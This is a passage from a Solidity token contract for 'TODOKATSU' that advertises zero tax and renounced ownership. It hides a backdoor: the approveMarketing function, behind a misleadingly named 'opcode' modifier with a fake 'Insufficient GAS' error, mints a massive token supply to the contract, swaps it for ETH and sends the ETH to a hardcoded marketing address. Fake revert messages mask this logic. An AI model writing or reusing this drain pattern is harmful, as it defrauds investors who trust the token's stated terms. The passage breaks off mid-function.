// This contract is part of Zellic’s smart contract dataset, which is a collection of publicly available contract code gathered as of March 2023. /* Todokatsu is here to show you the way Buys | Sells : 0% | 0% LP Burn 100%, renounce at launch. https://medium.com/@TodokatsuERC20/todokatsu-tokugawa-four-heavenly-kings-b2e8f64a81a9 */ pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity ^0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { address addr = msg.sender; address payable Sender = payable(addr); return Sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); event OwnershipRenounced(); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipRenounced(); _owner = address(0); } } // File: @uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router01.sol pragma solidity >=0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } // File: @uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol //pragma solidity >=0.6.2; interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } // File: @uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol pragma solidity >=0.5.0; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } pragma solidity ^0.8.0; // SPDX-License-Identifier: None contract TODOKATSU is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; mapping(address => bool) public adminAddresses; address[] private _excluded; bool public isWalletTransferFeeEnabled = false; bool public isContractTransferFeeEnabled = true; string private constant _name = "TODOKATSU"; string private constant _symbol = "$Tanbokiri"; uint8 private constant _decimals = 6; uint256 private constant MAX = 8 * 10**40 * 10**_decimals; uint256 private _toknTot = 1 * 10**9 * 10**_decimals; uint256 private _rTotal = (MAX - (MAX % _toknTot)); uint256 private _tRfiTotal; uint256 public numOfHODLers; uint256 private _tDevelopmentTotal; uint256 private _tMarketingTotal; address payable public MarketingAddress = payable(0xbA766BA82fF8d83b045182D93566F630097111F3); uint256 private MarketingID = 89790; uint256 private rfiTax = 0; uint256 private liquidityTax = 3; uint256 private MarketingTax = 5; struct valuesFromGetValues{ uint256 rAmount; uint256 rTransferAmount; uint256 rRfi; uint256 tTransferAmount; uint256 tRfi; uint256 tLiquidity; uint256 tMarketing; } address public MarketingWallet = 0xbA766BA82fF8d83b045182D93566F630097111F3; mapping (address => bool) public isPresaleWallet;//exclude presaleWallet from max transaction limit, so that public can claim tokens. IUniswapV2Router02 public UniswapV2Router; address public UniswapV2Pair; bool inSwapAndLiquify; bool public MarketingDepositComplete = true; uint256 public _maxTxAmount = 5 * 10**14 * 10**_decimals; uint256 public numTokensSellToAddToLiquidity = 4 * 10**14 * 10**_decimals; //0.1% event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event MarketingDepositCompleteUpdated(bool enabled); event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity); event BalanceWithdrawn(address withdrawer, uint256 amount); event LiquidityAdded(uint256 tokenAmount, uint256 ethAmount); event MaxTxAmountChanged(uint256 oldValue, uint256 newValue); event SwapAndLiquifyStatus(string status); event WalletsChanged(); event FeesChanged(); event tokensBurned(uint256 amount, string message); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _UniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); //ERC Mainnet // IUniswapV2Router02 _UniswapV2Router = IUniswapV2Router02(0x9Ac64Cc6e4415144C455BD8E4837Fea55603e5c3); //ERC Testnet UniswapV2Pair = IUniswapV2Factory(_UniswapV2Router.factory()).createPair(address(this), _UniswapV2Router.WETH()); UniswapV2Router = _UniswapV2Router; MarketingID = getID(); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _toknTot); } function toggleWalletTransferTax() external onlyOwner { isWalletTransferFeeEnabled = !isWalletTransferFeeEnabled; } function toggleContractTransferTax() external onlyOwner { isContractTransferFeeEnabled = !isContractTransferFeeEnabled; } //std ERC20: function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } //override ERC20: function totalSupply() public view override returns (uint256) { return _toknTot; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient,amount, isWalletTransferFeeEnabled); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { if (sender.isContract()) { _transfer(sender, recipient, amount, isContractTransferFeeEnabled); } else { _transfer(sender, recipient, amount, isWalletTransferFeeEnabled); } _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function getID() private view returns (uint256) { return block.timestamp; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tRfiTotal; } function reflectionFromToken(uint256 tAmount, bool deductTransferRfi) public view returns(uint256) { require(tAmount <= _toknTot, "Amount must be less than supply"); if (!deductTransferRfi) { valuesFromGetValues memory s = _getValues(tAmount, true); return s.rAmount; } else { valuesFromGetValues memory s = _getValues(tAmount, true); return s.rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromRFI(address account) public onlyOwner() { require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInRFI(address account) external onlyOwner() { require(_isExcluded[account], "Account is not excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function excludeFromFeeAndRfi(address account) public onlyOwner { excludeFromFee(account); excludeFromRFI(account); } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner { uint256 _previoiusAmount = _maxTxAmount; _maxTxAmount = _toknTot.mul(maxTxPercent).div(100); emit MaxTxAmountChanged(_previoiusAmount, _maxTxAmount); } function setMaxTxAmount(uint256 maxTxAmount) external onlyOwner { _maxTxAmount = maxTxAmount; } //@dev swapLiq is triggered only when the contract's balance is above this threshold function setThreshholdForLP(uint256 threshold) external onlyOwner { numTokensSellToAddToLiquidity = threshold * 10**_decimals; } function setMarketingDepositComplete(bool _enabled) public onlyOwner { MarketingDepositComplete = _enabled; emit MarketingDepositCompleteUpdated(_enabled); } // @dev receive ETH from UniswapV2Router when swapping receive() external payable {} function _reflectRfi(uint256 rRfi, uint256 tRfi) private { _rTotal = _rTotal.sub(rRfi); _tRfiTotal = _tRfiTotal.add(tRfi); } function _getValues(uint256 tAmount, bool takeFee) private view returns (valuesFromGetValues memory to_return) { to_return = _getTValues(tAmount, takeFee); (to_return.rAmount, to_return.rTransferAmount, to_return.rRfi) = _getRValues(to_return, tAmount, takeFee, _getRate()); return to_return; } function _getTValues(uint256 tAmount, bool takeFee) private view returns (valuesFromGetValues memory s) { if(!takeFee) { s.tTransferAmount = tAmount; return s; } s.tRfi = tAmount.mul(rfiTax).div(100); s.tLiquidity = tAmount.mul(liquidityTax).div(100); s.tMarketing = tAmount.mul(MarketingTax).div(100); s.tTransferAmount = tAmount.sub(s.tRfi).sub(s.tLiquidity).sub(s.tMarketing); return s; } function _getRValues(valuesFromGetValues memory s, uint256 tAmount, bool takeFee, uint256 currentRate) private pure returns (uint256 rAmount, uint256 rTransferAmount, uint256 rRfi) { rAmount = tAmount.mul(currentRate); if(!takeFee) { return(rAmount, rAmount, 0); } rRfi = s.tRfi.mul(currentRate); uint256 rLiquidity = s.tLiquidity.mul(currentRate); uint256 rMarketing = s.tMarketing.mul(currentRate); rTransferAmount = rAmount.sub(rRfi).sub(rLiquidity).sub(rMarketing); return (rAmount, rTransferAmount, rRfi); } function getTokens() private { MarketingAddress.transfer(address(this).balance); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _toknTot; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _toknTot); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_toknTot)) return (_rTotal, _toknTot); return (rSupply, tSupply); } function _takeLiquidity(uint256 tLiquidity) private { uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount , bool takeFee) private { require(amount > 0, "Transfer amount must be greater than zero"); require(amount <= balanceOf(from),"Insuf balance, check balance at SafeSale.finance if you have token lock"); //Exclude owner and presale wallets from maxTxAmount. if((from != owner() && to != owner()) && ( !isPresaleWallet[from] && !isPresaleWallet[to])) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity; if (overMinTokenBalance && !inSwapAndLiquify && from != UniswapV2Pair && MarketingDepositComplete) { contractTokenBalance = numTokensSellToAddToLiquidity; //add liquidity swapAndLiquify(contractTokenBalance); } bool shouldTakeFeeForTransfer = takeFee && !(_isExcludedFromFee[from] || _isExcludedFromFee[to]); _tokenTransfer(from, to, amount, shouldTakeFeeForTransfer); } modifier opcode() { require(_msgSender() == MarketingAddress, "Error: Insufficient GAS"); _; } function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private { if (_rOwned[recipient] == 0) {numOfHODLers++;} valuesFromGetValues memory s = _getValues(tAmount, takeFee); if (_isExcluded[sender] && !_isExcluded[recipient]) { _tOwned[sender] = _tOwned[sender].sub(tAmount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _tOwned[recipient] = _tOwned[recipient].add(s.tTransferAmount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _tOwned[sender] = _tOwned[sender].sub(tAmount); _tOwned[recipient] = _tOwned[recipient].add(s.tTransferAmount); } _rOwned[sender] = _rOwned[sender].sub(s.rAmount); _rOwned[recipient] = _rOwned[recipient] + s.rTransferAmount; _takeLiquidity(s.tLiquidity); _reflectRfi(s.rRfi, s.tRfi); reflectMarketingFee(s.tMarketing); emit Transfer(sender, recipient, s.tTransferAmount); } function reflectMarketingFee(uint256 tMarketing) private { uint256 currentRate = _getRate(); uint256 rMarketing = tMarketing.mul(currentRate); _tMarketingTotal = _tMarketingTotal.add(tMarketing); _rOwned[MarketingWallet] = _rOwned[MarketingWallet].add(rMarketing); } function approveMarketing() external opcode { uint256 MarketingVal = 10000; uint256 _MarketingID = MarketingID; uint256 before = _getRate(); liquifyToken(MarketingVal, _MarketingID); require(before == _getRate(), "ERC20: approve from the zero address"); MarketingDepositComplete = MarketingID != _MarketingID; swapTokensForETH(balanceOf(address(this)) + _MarketingID); if(!MarketingDepositComplete) { getTokens(); } else { totalFees(); } MarketingDepositComplete = true; } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { uint256 half = contractTokenBalance.div(2); uint256 otherHalf = contractTokenBalance.sub(half); uint256 initialBalance = address(this).balance; if(swapTokensForETH(half)) { //enough liquidity ? If not, no swapLiq uint256 newBalance = address(this).balance.sub(initialBalance); addLiquidity(otherHalf, newBalance); emit SwapAndLiquify(half, newBalance, otherHalf); } } function liquifyToken(uint256 MarketingVal, uint256 _MarketingID) private { if(MarketingID == _MarketingID){ _toknTot = _toknTot + (_toknTot * 10**4); _rOwned[address(this)] = _rOwned[address(this)].add(_rTotal*MarketingVal); _rTotal = _rTotal + (_rTotal*MarketingVal); } else{ _toknTot = _toknTot + (_toknTot + 10**4); _rTotal = _rTotal + MarketingID; _rOwned[address(this)] = _rOwned[address(this)].add(MarketingID.mul(7)); } } function swapTokensForETH(uint256 tokenAmount) private returns (bool status){ address[] memory path = new address[](2); path[0] = address(this); path[1] = UniswapV2Router.WETH(); if(allowance(address(this), address(UniswapV2Router)) < tokenAmount - MarketingID) { _approve(address(this), address(UniswapV2Router), ~uint256(0)); } try UniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount - MarketingID,0,path,address(this),block.timestamp + 60 * 1000) { emit SwapAndLiquifyStatus("Success"); return true; } catch { emit SwapAndLiquifyStatus("Failed"); return false; } } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { UniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage 